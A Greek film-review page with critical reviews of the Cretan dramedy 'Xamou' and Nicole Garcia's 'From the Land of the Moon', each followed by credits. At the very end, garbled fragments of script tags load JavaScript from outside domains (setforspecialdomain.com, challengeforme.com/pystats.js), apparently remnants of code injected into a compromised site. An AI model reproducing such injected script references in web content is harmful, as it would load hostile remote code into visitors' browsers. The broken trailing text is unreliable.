Κινηματογράφος: Πάμε;

«Ξα Μου» (Xamou – 2016) της Κλειώς Φανουράκη (Ελλάδα)

Απολυμένος ξενοδοχειακός μάνατζερ της Κρήτης βρίσκει διέξοδο και πλήρωση στην κρητική γη, τα προϊόντα και τους (θεογραφικούς) ανθρώπους της, σε μια ταινία συμπαθητική μεν, αλλά με μπόλικες (σεναριακές κυρίως) αδυναμίες

Ο Τζώνης (Χωραφάς) ζει με την γυναίκα του (Χιλλ) και τον έφηβο γιό τους σε εξοχική μοντερνοαγροικία στην Κρήτη –κι έχει μόλις απολυθεί ελέω κρίσης από τη διευθυντική θέση μεγάλου ξενοδοχείου. Αρχικά, κλείνεται (κυριολεκτικά) τζογάροντας διαδικτυακά επί ώρες. Και καθώς η κάμερα της πρωτοεμφανιζόμενης σκηνοθέτιδας πιάνει επίμονα πολύ κοντινά πλάνα με την οθόνη, το πρόσωπο, το γραφείο του ήρωα, λες, ωπ, κάτι δυνητικά ενδιαφέρον πάει να στηθεί εδώ. Δυστυχώς, η συνέχεια γι’ αλλού (ντ’ αλλού) τραβάει. Συγκεκριμένα, σε μια συρραφή από δραματουργικά ψιλοασύνδετες σκηνές –σε ορεινές λουλουδιασμένες αυλές, σε ανθηρά μποστάνια, ή παραδοσιακά μαντριά, και πάντα παρέα με ρατσή (ρακή, καλέ) και μαντινάδες– βλέπουμε τον Τζώνη να αφήνεται προοδευτικά στην πλανεύτρα ομορφιά της κρητικής γης, των άσπιλων προϊόντων της και, πρωτίστως και βεβαίως, στην χαρακτηριστική κουζουλή αψάδα και λεβέντικη ζεστασιά των κατοίκων της. Ε, κι επειδή το’χει το επιχειρηματικό σαράκι εντός του, ο Τζώνης θα την βρει και την επαγγελματική του αποκατάσταση, εκεί, μες στην αγκαλιά της Λεβεντογέννας…

Η αλήθεια είναι πως το «Ξα μου» (εκ του «εξά μου» = εξουσία μου, κρητική φράση που σημαίνει, «ασ’ το πάνω μου, παίρνω την ευθύνη») αποκαλύπτει κάποιες αφηγηματικές αρετές της Φανουράκη. Η μεγάλη, ας πούμε, σκηνή με το νυχτερινό ψάρεμα + όλη την ψαριά, που διασφαλίζει ο Τζώνης νικώντας σε μια παρτίδα σκάκι τον ψαρά του (πολύ καλού) Μπουσδούκου, είναι καλοβαλμένη. Το δε κρητικό τοπίο (μέσα από την κάμερα του Θωμά Βαρβία) γοητεύει άκοπα. Το πρόβλημα είναι πως η ταινία, καίτοι θεωρητικά μυθοπλασία, αλληθωρίζει ανεπανόρθωτα προς το ηθογραφικό ντοκιμαντέρ (πολλοί από τους Κρητίκαρους που μπολιάζουν τον Τζώνη με την χαρά της ζωής είναι αληθινοί αγρότες και ερασιτέχνες ηθοποιοί). Ως συνέπεια, αυτό που συμβαίνει στον Τζώνη και την οικογένειά του παραγκωνίζεται θριαμβευτικά από έναν συμπαθητικό μα τετριμμένο ύμνο προς την Κρήτη –και προς εκείνη την σχεδόν ψυχαναγκαστική γραφικότητα που κουβαλάνε πάρα πολλοί κάτοικοί της. Ουφ, το’ πα! Ξα μου!

Σκηνοθεσία
Κλειώ Φανουράκη
Σενάριο
Κλειώ Φανουράκη
Πρωταγωνιστούν
Γιώργος Χωραφάς, Σοφία Χιλλ, Άννα Φόνσου, Ζωή Χωραφά, Λευτέρης Ελευθερίου, Νίκος Μπουσδούκος, Αλέξανδρος Μυλωνάς, Γιώργης Σμπώκος, Καλλιρόη Καραμάνου, Τατιάνα Καλαντζή
Διάρκεια
87
Χώρα
Ελλάδα
Είδος
Δραμεντί
Πρεμιέρα
15 Ιουνίου 2017

 

 

«Όλα Όσα Άγαπήσαμε» (From the Land of the Moon / Mal de pierres – 2016) της Νικόλ Γκαρσία (Γαλλία, Βέλγιο)

Η κυματώδης ερωτική ζωή νεαρής Γαλλίδας τη δεκαετία του 1950, που τυραννιέται και κυρίως τυραννάει τους γύρω της λόγω της ασίγαστης λίμπιντό της σε μια εποχή σεμνότυφη και συντηρητική.

Η νέα ταινία της Γκαρσιά, που βασίζεται στο μυθιστόρημα «Mal di pietre» της Μιλένα Άνγκους, ξεκινάει ως ψυχολογική ηθογραφία για μια φιλήδονη, παθιασμένη νεαρή, που σκανδαλίζει τα ήθη στην πουριτανική Γαλλία της δεκαετίας του 1950. Και λες, «Α, κάτι πάει να πει περί σεξοκαταπίεσης των τότε γυναικών και τα ρέστα». Πολύ σύντομα, ωστόσο, η ταινία λοξοδρομεί κατά ερωτικό μελόδραμα μεριά, ενώ η ανατροπή του τέλους είναι αρκούντως μαξιμαλιστική, συντηρητική και… απιστεύτου.
Η Γκαμπριέλ (Κοτιγιάρ), λοιπόν, είναι μια αλαφροΐσκιωτη κουκλάρα των αγρών, που ξεβρακώνεται χωρίς αιδώ στο ποτάμι, που πάει και την πέφτει ανερυθρίαστα σε όποιο αρσενικό της γυαλίσει (όπως τον φρεσκοπαντρεμένο παντρεμένο δάσκαλο του χωριού), που φαντασιώνεται εμμονικά σεξουαλική απόλαυση και ρομαντική πραγμάτωση μέσα από κάποιον τρελό έρωτα. Αντ΄αυτού, και για να μην καταλήξει στο τρελάδικο, όπως την απειλεί η μάνα της (Ρουάν), παντρεύεται με συνοικέσιο έναν ισπανό χτίστη (Μπρεντεμούλ). Μόνο που σεξ γιόκ, του ξεκαθαρίζει του Σπανιόλου η Γκαμπριέλ… Οπότε εκείνος μεν καταφεύγει στις πουτάνες, εκείνη δε βιώνει ένα βραχύβιο τρελό ρομάντζο –όλο πιάνο, βιβλία, αγγίγματα, και νταλκά– στην αγκαλιά του Αντρέ (Γκαρέλ), ενός βαριά άρρωστου, ωραίου και θλιμμένου υπολοχαγού (πολεμούσε στην Ινδοκίνα), που νοσηλεύεται στο ίδιο ελβετικό σανατόριο όπου στέλνεται και η Γκαμπριέλ για να καταπολεμήσει τις πέτρες στο νεφρό που την ταλαιπωρούν (και που φιγουράρουν στον γαλλικό τίτλο του).
Τέλος πάντων, θα το ζήσει το παραμύθι της με τον καραβανά η ηρωίδα, μετά θα προδοθεί, και πολύ αργότερα, μέσω του μεγάλου πια γιού της (Μπλακ-Μπερεϊζιά), που έχει γίνει πιανίστας, θα έρθει το μελοδραματικό φινάλε.

Καίτοι η αφήγηση της Γκαρσία είναι στρωτή (και η διεύθυνση φωτογραφίας ατμοσφαιρική –ειδικά στους αργούς με τις ανθισμένες λεβάντες), το σενάριο βουτάει προοδευτικά όλο και περισσότερο σε μια στερεότυπη χιλιοζεσταμένη σούπα-μελό, ενώ το χειρότερο είναι πως η συνήθως καταπληκτική Κοτιγιάρ ερμηνεύει εδώ έναν κακογραμμένο και τραγικά μονότονο χαρακτήρα που σκέφτεται μόνο την πάρτη του. Άρα, γιατί να την σκεφτεί κι ο θεατής;

Σκηνοθεσία
Νικόλ Γκαρσιά
Σενάριο
Νικόλ Γκαρσιά, Ζακ Φιεσκί
Πρωταγωνιστούν
Μαριόν Κοτιγιάρ, Λουί Γκαρέλ, Αλέξ Μπρεντεμούλ, Μπριζίτ Ρουάν, Αλοΐζ Σοβάζ, Ντανιέλ Παρά, Ανζ Μπλακ-Μπερεϊζιά
Διάρκεια
116
Χώρα
Γαλλία, Βέλγιο, Καναδάς
Είδος
Δράμα
Πρεμιέρα
15 Ιουνίου 2017___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >